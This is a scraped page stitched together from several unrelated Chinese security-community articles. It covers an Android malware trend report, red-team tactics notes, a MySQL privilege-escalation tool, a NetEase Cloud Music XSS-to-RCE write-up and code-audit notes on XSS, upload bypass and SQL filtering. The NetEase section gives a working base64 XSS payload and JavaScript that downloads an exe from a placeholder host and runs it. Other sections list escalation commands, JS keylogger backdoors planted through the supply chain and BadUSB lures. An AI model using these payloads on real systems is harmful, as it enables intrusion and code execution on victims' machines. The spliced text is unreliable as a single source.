Exodus间谍软件会伪装成移动运营商的服务应用程序，其配备了强大的信息收集和拦截功能（如私自使用麦克风录音、提取通话记录等），并上传上述信息到C&C服务器。更可怕的是，该软件没有任何形式的身份验证，所有与受感染设备共享同一网络的人都可以访问这些数据，因而面临着数据泄露、数据被篡改的风险。
其次，该软件还利用脏牛（DirtyCow）漏洞获取手机ROOT权限，可远程强制执行某些命令，可能会使受感染设备遭受进一步损害。
### 静态感染技术被滥用
静态感染技术，是指将恶意代码插入到系统运行所依赖的库文件中，使得恶意文件随系统库文件的加载而启动。由于该种启动方式更为隐蔽，继“蜥蜴之尾”病毒在移动安全领域首次使用静态感染技术后，该项技术逐渐流行起来，并被病毒滥用。
例如，近期异常活跃的Notify病毒也使用了此技术，只是感染了不同的系统库文件。
另外，静态感染技术并非32位病毒所特有，64位Android
Native病毒世界中同样存在。64位长老木马病毒就是个好例子，其通过感染系统进程启动时所依赖的liblog.so库文件，并在该库文件的导入表中添加恶意launcher的路径，使守护进程随系统启动以执行launcher的恶意代码。
### 64位Android Native病毒开始蔓延
随着Android手机性能的逐步升级，以及Google要求
App同时兼容64位库的背景下，预期未来兼容64位可能成为一种趋势，在近期爆发的64位Android Native病毒上便有所体现。
360安全大脑近期披露的“假面兽”病毒，更是拉开了64位Android
Native病毒蔓延的序幕，其通过伪装热门小游戏、伪装系统软件、色情应用，依靠ROOT提权、HOOK注入等多种技术手段，进行恶意推广、篡改系统文件、非法牟利。
特别需要注意的是，360安全大脑近期发现：寄生灵病毒也有了新的64位变种。
## 总结
Android
Native病毒大多综合了多种技术，具有较强的隐蔽性，静态感染技术的泛滥对Android用户手机安全造成了更大威胁。ROOT提权漏洞仍是病毒实现所有恶意功能最为关键的一环，及时安装Google或手机厂商发布的安全更新补丁是一个行之有效的办法。
此外，多个已曝光的病毒升级64位，预示未来可能是64位Android Native病毒的高发期，360安全大脑保持对Android
Native病毒动态的密切关注，并已支持上述病毒的全面一键查杀，如果您担心手机中毒，请及时使用360手机卫士或360手机急救箱进行全面检测。
结合2019年Q1季度 Android Native病毒疫情及未来趋势，为了确保您的个人隐私、财产安全，360安全大脑给出六条建议：
1. 预防为主：保持手机定期查杀、更新病毒库的好习惯；
2. 通过正规手机应用市场下载安装APP：Android Native病毒常伪装热门游戏应用、工具软件进行传播，种类繁多，令人防不胜防，通过正规手机应用市场下载安装APP能有效避免中招；
3. 健康上网：色字头上一把刀，色情应用一直是Android Native病毒的重灾区，大家切勿抱有侥幸心理；
4. 警惕广告弹窗：诱惑性的广告弹窗也是Android Native病毒的常用伎俩，对于来历不明的广告弹窗一定要格外警惕，切勿随意点击；
5. 使用厂商官方ROM：第三方ROM刷机包也是Android Native病毒传播渠道之一，市面上的ROM包五花八门，因此切记不要随意下载刷入安全性未知的第三方ROM；
6. 安装系统更新补丁：安装系统更新补丁可有效降低漏洞利用风险。 | 社区文章 |
这次参加阿里白帽大会,对无声的一个师傅的议题印象比较深刻,ppt暂时不知道会不会共享,我个人想做个总结,最近事情一大堆,学习的效率变慢了许多,不能让这些东西一直压着我.XD
> 飞机刚起飞,希望到家之前能够写完.
小灰师傅说:"这次由于时间问题,还有很多好玩的没分享出来."
我:"Tql"
以下内容属于我个人YY.
## 前言
> 现在各种议题数不胜数,但是我看对眼的比较少.
**红队的特点是什么?**
区别于传统的渗透测试,更偏向于实战,面对的场景也更加复杂,技术繁多,以目的为导向,需要有能够解决突发问题的能力.
**红队的核心是什么?**
发散思维,让各种技术有应用场景,需要有更多的攻击面,掌握特殊技巧.
**红队之路是什么?**
在实践中不断地"填坑",不断实战,完善战术和武器的过程.
**大型网络渗透的思路有哪些?**
参考来自红队的一些Tricks(小灰师傅的另外一个议题),ppt自行谷歌查找.
* 撕开口子(ssrf->内网渗透)
* 判断出目标位置和目标环境
* 通过osint,获得关键信息,攻击脆弱系统,进入内网.
* 寻找"软柿子",从邮箱突破 ->获得VPN账号密码->内网渗透->.....
* 边界渗透
* 组织业务架构分析(天眼查,主站业务方向,业务合作单位,海外业务)
* 判断目标网络架构(ssrf,内网ip泄露,citrix,exchange,域认证,云盘,文库,git)
* 关键业务分析(员工通讯录,密码字典制作,各种oa(泛微,通达,致远,金蝶),mail,vpn,通讯工具,sso)
* 外网攻击入口选择
* 关注度低和防护薄弱的系统(边远地区,无MFA机制的系统,使用高危漏洞进行批量)
* 供应链打击
* 办公系统,集权系统
* 有敏感信息泄露的系统
* 业务线较长的系统(公司的网络结构分布在各个地市,进行迂回攻击)
* 常见的信息收集
* pdns
* 子域名网段
* github检索
* 爬兄弟域名
* app请求
* js信息收集
* 微信公众号
* favicon.ico
* ssl cert
* 横|纵向移动
* 先潜伏,别急于扫描,会触发edr
* 潜伏策略(dns,icmp,tcp,http,测试机,备份机,老资产,运维终端pc,办公区,业务大,复杂的系统)
* 内网知识储备(很多人问我内网渗透怎么学好点,我的建议都是去copy dm写的那本书的目录,自己网上查查资料,东西不多,需要实践,不实践你永远不会踩坑,也不会进步)
* 域渗透基础知识(自行谷歌学习)
* 内网信息收集(自行谷歌学习)
* 防御对抗
* hw遇到的防护手段 (封ip,waf,白名单机制,各种安全设备(nids,hids,edr,soc,蜜罐),溯源反制)
* 对策(代理池,cms识别,waf测试与绕过,加载自己的dll,逆向agent,patch掉防火墙等设备,流量加密,虚拟机,心跳包回连,回连cdn,回连端口转发)
## Content
* "水坑攻击"在红队场景的运用
* 对抗技术在红队行动中的实践
* 主被动方式结合-实现挖坑反击
* RedTeamer的未来
## "水坑攻击"在红队场景的运用
github蜜罐,你遇到过吗?
以及内网的一些常见服务蜜罐.将redis部署在真实环境里,但是redis服务的流量走的是蜜罐系统,导致被防守方逮到.
### 使用OSINT进行情报搜集
* 搜索引擎(fofa,shodan,Google,Zoomeye,bing)
* 百度文库,CSDN
* 天眼查相关资产
* riskiq.com开源情报
* 子域名,爬虫链接,github
* 内部情报(加QQ群,钉钉群,微信群)
收集到架构,资产,邮箱,敏感资料,专利,账号密码等等
通过收集的账号密码登录邮箱系统,coremail rce->导出邮件内容->被系统制裁╮(╯_╰)╭
### tricks
github在设置邮箱的时候可以获得github账户名,脚本批量测试
看图说话
jsonp劫持可以获取目标的互联网信息,qq邮箱,163邮箱等.
### 供应链攻击,留后门
获取到开发人员权限后,可以选择往源码里插入一段js,等源码部署以后,可以结合xss平台进行权限维持(键盘记录,内网渗透等等)
xss平台beef其实很香的,模块很多.
js后门的好处:
* 获得代码部署地址
* 键盘记录
* 通过ajax动态获得页面内容
* 通过访问ip分析人员区域
* 随时更改js内容,做进一步利用,ie浏览器和flash攻击
### 近源攻击
#### U盘攻击
直接往人家银行门口扔U盘?你咋知道被谁捡去了,赔钱的买卖.
通过信息收集,和其他的方法找到工作人员地址,比如订单信息泄露,寄一个badusb到他家,往U盘里送上最真挚的祝福,加一个小贺卡,让他快点打开看看U盘里面你对他到底进行了啥祝福.
￣ω￣=
badusb的一些tricks:
* 使用unicode反转字符攻击,诱导点击
* 可执行文件的后缀-dll,hta,bat,sct,vbs,ps1
* office漏洞利用和宏攻击
* 特殊文件后缀名,exe,pif,com,cmd,scr
* 双击反弹shell文件和脚本,chm,ink,iqy,jsjse,cpl,wsh,wsf
注册表`HKEY/LOCALMACHINE/SOFTWARE/Classes`中可以找到能执行命令的后缀,
#### WIFI钓鱼
近源攻击中最为常见的就是路由器,有0day的话可以进行链路劫持,进行行为审计,
看一下无声的这个武器.
可见武器化的好处
一次攻击链:
* webrtc获取内网地址
* 对可以发起http请求导致rce的路由器发起探测
* 获得权限后,通过流量采集获取某些网站接口的凭据,强制加好友
* 聊天触发某插件热更新,劫持替换,运行导致收集rce
**WIFI登录页面钓鱼**
* 在内网的话,可以获取员工的工号和密码,ACl配置不当的情况下可以扫描内网资源(DNS重定向)
* 抓hash
* dns可控的情况下,结合WPAD进行中继攻击
## 对抗技术在红队行动中的实践
### ip封禁
<https://github.com/RhinSecurityLabs/IPRotate_Burp_Extension>
通过aws的服务进行ip替换
或者使用pymultitor
### DMZ出网的权限维持
常规是使用DNS,HTTP协议
换个思路,直接把邮件服务器当做C2,传递信息回来,相关代码自己github查找
### EDR多维度对抗
* 实时监控是否有特定的进程执行,参数和进程的调用关系树
* 内存分析
* 异常检测
* 流量监测
Bypass(后面几种是我的想法):
* 参数污染
* shellcode分离加载
* 行为免杀
* 反沙箱(判断当前环境是否是沙箱,内存,磁盘空间,等等,参考veil模块)
* 无文件技术(用forfiles免杀)
* 流量免杀
* shellcode加密
* blockdll
* 白加黑利用
### 权限维持
#### 单机权限维持(这个我最近在写总结,尽快赶出来)
* 服务类:bitadmin,计划任务,sqlserver job
* logon Scripts修改注册表
* dll劫持
* 白加黑利用
* 服务类路径,通过powerup寻找加以利用
#### 域权限维持
看图,做一个补充
### 主被动方式实现挖坑反击
#### 内网横向移动技术到底是研究什么?
* 内网拓扑环境,知道有哪些机器,我现在在哪个位置,下一步我要去哪?
* 获得当前账户,具有什么权限,受什么规则影响,可以进行什么操作,可以用什么手段横向?
* 怎么获得更多的用户名和密码以及权限
* 怎么拿到域内指定的机器(日志,邮件,收集的信息,ldap查询)
#### 护网横向移动优先攻击策略
目标内网往往非常大,快读定位和找到关键节点是攻击的关键,选择的主要原则为:
* 快速掌握目标网络架构和网络设备及集权系统,(堡垒机,运维管理机,性能监控系统,集中管控系统,域控等)
* 查找配置文件,系统日志,管理文件,建设方案,wiki,文档云,托管代码等,获取敏感信息,为纵向移动打下基础.
#### 网络环境中的信息收集
* dns信息
* 快速定位域控(方法很多,不多说)
* route信息
* net view \dc
* 域信息(dc,group,user,密码策略,委派关系,票据,域信任关系)
* 445端口获取banner判断是否在域内
* ldap query
* spn扫描
* 域认证服务机器日志
### DNS
* 使用ping -a反向解析IP
* 先通过ldap查询获得域内计算机名称,再通过dns查询获得ip
* dnscnd的使用
### 单主机,系统程序,安装软件
* 系统日志(追踪来源,堡垒机,管理人员电脑)
* 最近使用的程序
* 安装应用
* 浏览器历史记录,浏览器密码,代理配置
* 系统密码,hash,mscache,rdp连接记录,rdp凭据,vpn,xshell,Navicat,winscp
* 内存中kerberos票据
* 其他用户token
* session信息
* redthief被动获取密码
### 精准定位
* 域控日志
* 系统记录日志
* 查询用户userWorkstation字段
* 使用组策略给用户绑定登录脚本
* Email
## RedTeamer的未来
* 红队是多元化的,需要有多方面的能力,武器化是重点,学以致用(win32 api,Windows核心编程,c/c++/c#/powershell)
* 尝试跨界,去了解更多未知的精彩
* 提高自身业务能力,增加深度,不满足于表面,要有危机感.
我为啥没有具体去介绍文中的技术点呢?
XD
快下飞机了,想家! | 社区文章 |
# 1、前言
我们在内网中想要拿到域控，肯定会想到Exchange
Service服务器，Exchange服务器的权限一般都是域管理员权限，所以拿下服务器的权限也就离域控权限不远了。这个工具主要是使用Go重构了ExchangeFinder工具，并做了一些更新，减少原工具匹配不全面的问题，以及实现了Go语言的高并发。
工具链接：<https://github.com/M0nster3/ExchangePE>
# 2、工具原理
主要是通过遍历domain.txt文件当作子域名，可以自己搜集子域名进行添加增加概率，然后解析DNS A记录来进行确认是否可以访问，接着通过返回包中的X-Owa-Version，与[微软版本号](https://learn.microsoft.com/zh-cn/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 "微软版本号")
进行对比然后显示版本号。 | 社区文章 |
1.自动导出你的backdoor和mof文件，
2.自动判断mysql版本，根据版本不同导出UDF的DLL到不同目录，UDF提权
3.导出LPK.dll文件，劫持系统目录提权
4.写启动项提权
工具仅做方便使用，技术含量几乎没有。
用py脚本写的，也打包成exe了，个人用的还算顺手。
用法：
promote:PythonDemo v5est0r$ python root.py
__ _ __ __ ____ ___ _
/ _|_ _ ___| | _| \/ |_ _/ ___| / _ \| |
| |_| | | |/ __| |/ / |\/| | | | \___ \| | | | | Author：v5est0r
| _| |_| | (__| <| | | | |_| |___) | |_| | |___
|_| \__,_|\___|_|\_\_| |_|\__, |____/ \__\_\_____|
|___/
usage: root.py [-h] [-a HOST] [-o PORT] [-u USER] [-p PASSWD] [-e EXECUTE]
[-m METHOD]
fuckmysql
optional arguments:
-h, --help show this help message and exit
-a HOST, --host HOST MySQL server ip
-o PORT, --port PORT MySQL Port
-u USER, --user USER mysql UserName
-p PASSWD, --passwd PASSWD
mysql password
-e EXECUTE, --execute EXECUTE
command for UDF to execute
-m METHOD, --method METHOD
elevate method,eg:udf/mof/lpk/st
我在虚拟机演示打包好的exe远程提权，坛子的老哥们都是明白人，我就不多说了，直接上图：
默认UDF提权，也可以`-m udf`指定方式，`-e ipconfig`指定执行的cmd，默认执行whoami：
root.exe -a 192.168.1.105 -p root -e "ver&whoami" -m udf
有时候UDF无效，我们使用LPK.dll劫持：
root.exe -a 192.168.1.105 -p root -m lpk
验证一下lpk是否加上账户:
有时候UDF和LPK都无效，目标是windows2003，还有机会，可以MOF：
把你的木马的hex复制到同目录的hex.txt就行了，程序会导出木马到指定目录，并用mof执行。
每隔几秒就运行一次木马，有点尴尬，如何停止mof老司机都知道，我就不多说了。
有时候UDF和LPK都无效，那我们只能尝试被动写启动项：
root.exe -a 192.168.1.105 -p root -m st
可能存在路径编码问题写不成功，你可以根据提示，用本地的MySQL连接上去，执行。
当然还有情况是远程提权，UDF不能创建plugin目录，网上流传的ADS流创建目录我是没有成功过，工具里加了ADS流创建目录的代码，那么我们删掉plugin目录，再远程试试：
如上图，那就不行了，那么这种情况下，如果你有shell，在shell里的本地模式执行，就不一样了。
本地模式： 一般来说，php一般权限都是可以创建目录的，此处必须指定主机为`localhost或127.0.0.1`才会调用本地模式：
root.exe -a localhost -p root -e "ver&whoami" -m udf | 社区文章 |
# 嵌入式浏览器安全之网易云音乐RCE漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Author: Wfox@360RedTeam
## 0x00 前言
前面章节讲解了应用程序是如何与网页进行交互的，接下来章节分析通用软件历史漏洞，通过真实漏洞案例分析去了解嵌入式浏览器安全的攻击面。本章节讲的是网易云音乐rce漏洞分析，一个经典的XSS
to RCE漏洞。
往期文章回顾： [1\. 《嵌入式浏览器安全之初识Cef》](https://www.anquanke.com/post/id/194854)
## 0x01 Cef资源文件加载
cef浏览器中加载web网页访问通常分为两种，分别是远程资源加载、本地资源加载。
远程资源加载，通过http、https等协议加载网页，通常在软件里作为扩展功能，可延展性强，缺点是页面加载速度受网络环境影响。
本地资源加载，通过file协议实现加载web页面，也是cef桌面应用的主要实现方式。本地加载uri实现方式分为三种：
1. 绝对文件路径加载 file:///c:/application/index.html
2. 伪host加载 <file://application/index.html>
3. 伪协议&伪host加载 <custom://application/index.html>
第2、3种方式是通过cef资源重定向实现的，在使用cef加载本地web资源时，html或者js文件很可能会暴露一些接口或者重要数据，为了代码保护需要把web资源进行加密，常见方式是通过zip进行密码加密。解密也比较简单，逆向主程序文件找到解压密码或者zip明文攻击就能解压加密的资源文件。
具体的实现原理这里不再复述，感兴趣的可以阅读这篇文章
https://blog.csdn.net/csdnyonghu123/article/details/92808278
漏洞挖掘的第一步，先打开网易云音乐的目录，可以看到明显的Cef目录架构，比如说子目录、依赖库特征等。
在package目录中，找到了网易云音乐的资源文件包orpheus.ntpk，以zip格式解压得到网易云音乐html资源文件。
解压之后目录结构如下，包含了html、js、css文件等，正是这些构成了网易云音乐的整个前端界面。
当网易云音乐主程序打开时就会加载链接
<orpheus://orpheus/pub/app.html>，经过cef资源重定向处理后，加载orpheus.ntpk压缩包的/pub/app.html，也就是我们最为熟悉的主界面。
通过进程查看软件Process Hacker查看cloudmusic.exe进程，可以看到cloudmusic.exe主进程下面起了两个子进程。
这两个进程分别是render进程与GPU加速进程，GPU加速进程用于加速页面渲染，在网易云音乐的设置里可以禁用GPU加速。
// cef render进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
// cef gpu加速渲染进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411
在漏洞挖掘过程中可以关注下cef进程的启动参数，指不定有些好玩的启动参数，后边章节再讲这方面。
## 0x02 寻找突破点
在拿到源码文件之后，能做的事情很多，感兴趣的可以自行从html、js里边发掘。这次的目的是为了给客户端弹个计算器，所以首先要达到一个目标，执行任意JavaScript，先从一个xss漏洞开始。
接下来就是常规的Web前端漏洞挖掘思路，在发掘过程中可以将html、js进行格式化，方便阅读代码。
原漏洞作者的思路是从html模板文件找到未过滤的模板变量，从而控制输出点达到xss。但在实际挖掘中，大部分html输出点都是不可控的，原作者找到的xss触发点在电台页面/pub/module/main/djradio/show/index.html的电台名称字段。
漏洞点修复前是${x.name}，修复之后加上了escape进行编码过滤。
我们需要添加一个名称带有xss payload的电台，受害者通过搜索电台名称，在访问电台页时即可触发xss。
原漏洞作者提到了通过外置浏览器跳转到伪协议链接[orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest](orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest)，从而唤起网易云音乐，但经过实际分析测试，只能唤起应用但不能跳到对应搜索页面。
那外置浏览器是如何调用网易云音乐伪协议，通过注册表可以查看windows系统中注册的所有伪协议，比如网易云音乐orpheus协议在注册表的地址为
HKEY_CLASSES_ROOT\orpheus\shell\open\command，键值为
“D:\software\Netease\CloudMusic\cloudmusic.exe”
–webcmd=”%1″，%1作为变量对应的是完整的伪协议url，最终创建进程
D:\software\Netease\CloudMusic\cloudmusic.exe”
–webcmd=”[orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest](orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest)”
目前电台页面处无法复现漏洞，所以搬了原作者的xss效果图。
## 0x03 进阶攻击
小目标达到了，接下来就是如何将xss漏洞的危害扩大，这里就要用到第一节讲到的知识点，应用程序会在render进程上下文中注册许多JavaScript扩展函数，用于应用程序与网页进行交互。
举个例子，缓存歌曲、缓存突破、下载歌曲、下载歌词文件这些功能都需要涉及文件操作，但网页由于安全策略限制是无法直接保存文件的，所以需要通过JavaScript调用native
function来实现文件操作。
当然应用程序注册的JavaScript扩展函数不止这些，接下来进阶攻击就是寻找脆弱的JS扩展函数进行复用，以达到窃取数据、劫持登录凭证、读取任意文件、甚至控制对方计算机权限的目的。
现在复测没有xss漏洞可以用，那我们就假装有一个xss，通过拦截网易云音乐的请求修改响应，插入我们的JavaScript代码。此时祭出大杀器BurpSuite，通过网易云音乐自带的HTTP代理功能设置成127.0.0.1:8080
代理设置成功后，BurpSuite就能抓到网易云音乐的请求。这里用漏洞版本2.1.2.180086作为演示，前面提到过网易云音乐有很多html输出点都没过滤的，但是内容是不可控的。在旧版本网易云音乐中，可以通过BurpSuite拦截修改api请求的明文响应包插入xss
payload，触发XSS。（新版本中api请求响应都加密了）
比如说在搜索歌词时，响应部分的lyrics字段会作为html内容插入到页面中，可以替换这部分的响应内容插入xss内容。
添加自动替换响应包规则，省得每次都要拦截修改响应。
随便搜一个查询条数少的关键词，切到歌词的搜索结果，加载替换响应内容后成功触发XSS。
通常cef程序很少会留有可以直接系统命令的扩展函数，所以常见的rce思路是下载可执行文件+运行文件以达到rce的效果。接下来就是通读代码，寻找任意保存文件的扩展函数。
网易云音乐的主要功能逻辑在core.js文件，第一步先将混淆的JavaScript代码美化，提高代码可读性，在代码量居多的情况下可以搜索相关关键词以定位函数，如save、保存、download、下载等，通过关键词定位找到一处可疑的功能代码。
根据代码上下文逻辑，构造出文件下载保存的JavaScript代码。
var byz = NEJ.P;
bD = byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });
JavaScript代码太长在xss里格式不好处理，所以将xss代码base64执行。
<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>
插入XSS代码触发，可以将任意远程文件保存到本地任意位置。poc触发成功后将百度logo图片保存到c:/users/public/1.png
当然在实际场景中可能会遇到长度限制，这里只是把payload写在一起作为演示，正常利用建议还是引用远程JS文件。
exe文件已经落地到文件系统中了，接下来就是如何触发下载后的exe文件。通读代码可以发现，网易云音乐基本是通过bD.cFB、bD.bX调用native函数，可以围绕着这些函数调用进行发掘，然后复用函数方法。
通过技巧找到了打开exe文件的方法，这个函数原意应该是用来打开文件夹的，文件/pub/module/main/offline/complete/index.html
根据代码上下文逻辑，构造出打开指定exe文件的JavaScript代码。
var byz = NEJ.P;
bD = byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");
文件下载、打开exe文件都具备了，接下来构造完整漏洞利用代码。
var byz = NEJ.P;
bD = byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);
完整利用流程：插入xss payload -> 诱导别人触发xss -> 下载保存exe文件 -> 打开执行exe文件
在网易云音乐最新版本中不仅修复了xss漏洞、增加CSP安全策略，还修复了文件下载、打开文件等涉及文件操作的许多函数，使攻击成本加大，熟悉逆向的可以分析下判断逻辑是否能够绕过。
## 0x04 结语
本章节涉及了cef资源加载、目录结构分析、进程启动分析、scheme协议注册、XSS漏洞挖掘、native交互漏洞挖掘等知识点，完成一个XSS to
RCE漏洞的挖掘才能算是真正的入门。当Web安全人员去真正发掘这方面漏洞时，会发现嵌入式浏览器漏洞挖掘也没那么难以触及，主要是通读代码跟复现代码逻辑会比较耗时间，感兴趣的朋友可以尝试下挖掘通用点的桌面应用~
## 0x05 参考
漏洞原作者：evi1m0 <https://www.chinabaiker.com/thread-2897-1-1.html>
<https://blog.csdn.net/csdnyonghu123/article/details/92808278> | 社区文章 |
**代码审计--最常见的漏洞审计篇**
**前言**
以下内容仅供技术研究学习使用！严禁用于非法操作！
**正文**
**xss漏洞**
看到这里有个公司名称，看看有没有xss，放入审计工具看一下
很明显是第二个（因为我是在安装路径里面）
可以看到这里面他申请了一个数组，应为是下标为公司名称的在看看前面的$lang->install，按经验来看这应是是一个实例化的类，按照正常思路我们往前面翻一番看看有什么
他这里果然是一个实例化的类，去找一找这个类，找了半天没找到，感觉很奇怪，我就直接找这个
变量了
看看哪里输出了这个变量
可以看到这里他直接输出了，及有可能存在xss，试试看
保存
成功弹窗，而且这是个存储型的xss，写入数据库了。
**文件上传**
**一：**
登录，发现上传点，先上传一个php文件看看（由于是php建站）
有检测，我们用这个提示框里面的内容去源码搜下。
发现文件，点进去看看。
他这里用in_array函数进行的判断，往上翻看看，
好东西，黑名单过滤，不急先看看代码怎么运行的，这里他实例化的一个类（$upload = new UploadFile();）看看这个类。
定义了一些函数，和变量，然后往回看，禁了那些后缀名
'asa','asp', 'aspx', 'cdx','ascx', 'vbs', 'ascx', 'jsp', 'ashx', 'js', 'reg',
'cgi','html', 'htm','shtml', 'cfm', 'cfc', 'pl', 'bat', 'exe', 'com', 'dll',
'htaccess', 'cer', 'php5', 'php4', 'php3', 'php2', 'php', 'pht', 'phtm'
可以看到的这是黑名单，但是有黑名单，还不一定有漏洞，一般黑名单过滤是有好几层筛选的，我们接着往下看
他设置了附件上传目录和仅上传单文件，这些都不是，关键是代码调用了UploadFile()类的upload函数，我们跳过去看看。
他这里就简单的检测了一下，但是他调用了一个check函数来自动检查附件
我们搜索看下
他这里对大小，mime类型，文件类型，和是否合法进行的检测，其他几个都好绕过，我们就直接看这个文件类型的，发现他又调用了一个checkExt函数，去看看。
这个函数检查了上传的文件类型是否合法，就是检测了后缀名了。可以看到这个可以绕过的，他并没有转变成小写，可以大写绕过，到此这边结束了，我们再跳回前面去看看，
可以看到他对来自$info的后缀再次检测，我们看到$info从getUploadFileInfo()来的，去看看。
return了uploadFileInfo（上传成功的文件信息）。
后面就用in_array再一次过滤了。
到这里就过滤完了，从上面可以知道，这个文件上传漏洞他是黑名单过滤，他过滤了asa','asp', 'aspx', 'cdx','ascx', 'vbs',
'ascx', 'jsp', 'ashx', 'js', 'reg', 'cgi','html', 'htm','shtml', 'cfm', 'cfc',
'pl', 'bat', 'exe', 'com', 'dll', 'htaccess', 'cer', 'php5', 'php4', 'php3',
'php2', 'php', 'pht', 'phtm'。我们只要上传PHP格式的文件就可以绕过。
点击上传，木马的jpg文件
burp抓包改包
上传成功
**二：**
常规思路寻找上传点
找到上传点，接下来就是找他所对应的源码位置在哪里，还是老方法，通过报错找
太多了快一百个了，这一个个找要很久，换个思路，上传一个正常的看他提示了啥，后来发现没提示，这就麻烦了找不到，后来想一想可以从前端源代码里面看他调用了什么函数
有了，去找找看
找到了
可以看到他调用了两个函数先看第一个
这个有点迷糊，网上找了很多资料，我猜可能是调用loadModel方法时传递了一个非空的appName，会导致错误。
所以调用父类的loadModel方法来避免这个错误。
好了我们再看第二个函数
可以看到他有调用了getupload函数，追踪看看
取关键函数来看，可以看到他声明了一个空的数组给$file然后再用is_array()来判断是否上传文件名是否存在，再用extract和foreach函数来赋值键值和循环赋和值给$di与$filename，最后我们就直接看这个赋值后缀名的函数getExtension
他这里进行了两次过滤，一次黑名单一次白名单我们搜一下两个的黑白名单分别为什么
可以看到这几乎不太可能绕过的，我就试着先常规绕过看看
这里再后缀名改成php后再加一个点或者直接加一个点，都能绕过，我就纳闷了，复制路径看了一下
后缀名为空，但是却能执行，这。。。。。。。把我给整傻了，后来我再去分析了一下，发现了两个原因
原因一：
他这里是逻辑有问题，只要我们在第一个if的时候判断后缀名为空（因为是与逻辑一个为假就都为假）就可以绕过后面的三个if判断了这样就绕过黑白名单和强制后缀名判断php了。
原因二：
对于没有后缀名但是能强制解析成php很可能是有开始 .htacess（应该是安装建站系统的时候就会默认存在的）
.htacess:网上对这个的解释是taccess文件(或者"分布式配置文件"), 全称是Hypertext
Access(超文本入口),负责相关目录下的网页配置, 了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件,
作用于此目录及其所有子目录,
通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能，嗯，大概意思就是会把没有后缀名的或者其他后缀名的都解析成php格式，
**SQL注入**
拿到源码，我们可以本地搭建，进入后台看看有什么可能存在漏洞功能块。
我们可以看到里面有一些功能，里面有一个sql的写入框，有问题看看有没有过滤，我们随便输入东西看一看
看来存在过滤
不过我们有源码，通过报错信息里有一个非法操作，放到工具里面源码审计系统搜搜看
发现里面1到17个都有感叹号，说明这个程序运行是在最后一个里面，发现后面两个都是在同一个php文件里面，我们先看第一个
后来发现最后面两个搜索结果都是同一个地方，可能是搜索结果出现问题了
回到正题，通过这个搜索我们还不能判断是否程序运行在这里，我们再看看里面的参数有title，limits，orders，isall，sqls等等，他们都是通过frparam函数将这些参数里面的具体内容传递给$data这个数组里面，既然是参数可以肯定在抓包的时候会出现，我们就抓个包试试
在前面那个功能块里面点击保存，并抓包
我们可以看到里面的参数和我们源码里面看到的参数一样且sql的输入框框是sqls这个参数，基本可以肯定是这里了
接下来就是代码审计了
我们可以看到他做了一个if判断，通过frparam函数的运行结果是否等于1，我们看看frparam函数，这个函数一看就是自定义的，对于自定义的函数肯定有function
frparam这个函数声明，我们去搜一搜。
找到了，点进去看看
可以看到它是获取URl的参数值，通过前面调用这个函数，他已经go和1传过来了，所以这里的$str和$int为go和1。
这里$data =
$this->_data;意思是把前端的所有数据传过来，这时候再判断$str是否为空，再通过这个array_key_exists函数判断$str是否在不在$data里面，显然都不满足，所以跳过，后面他在$method变量判断，显然是为空的，因为我们没有赋值给他就默认了，然后把
$data[$str]赋值给$value了，最后再return
format_param($value,$int,$default);看一看format_param函数。
这里他参数过滤，格式化了，通过前面传来的int=1，我们直接跳到case 1：，里面他通过SafeFilter函数进行了过滤，我们定位看看
可以看到他里面过滤了xss攻击了，简单看了一下，是过滤xss的，顺便看下这个框框有没有xss漏洞，通过 $arr =
preg_replace($ra,'',$arr)这个函数判断$arr有没有在$ra里面，有就替换成空了，看到$ra里面就过滤了一些基本的js语句，可能会有，然后再接着看下去，就回到前面了。
可以看到他又把传来的$值给html实体了。。。没戏。
不慌，我们接着看下去。
可以看到他判断php版本了，大于等于7.4就会通过addslashes函数在每个双引号"前添加反斜杠，然后再return
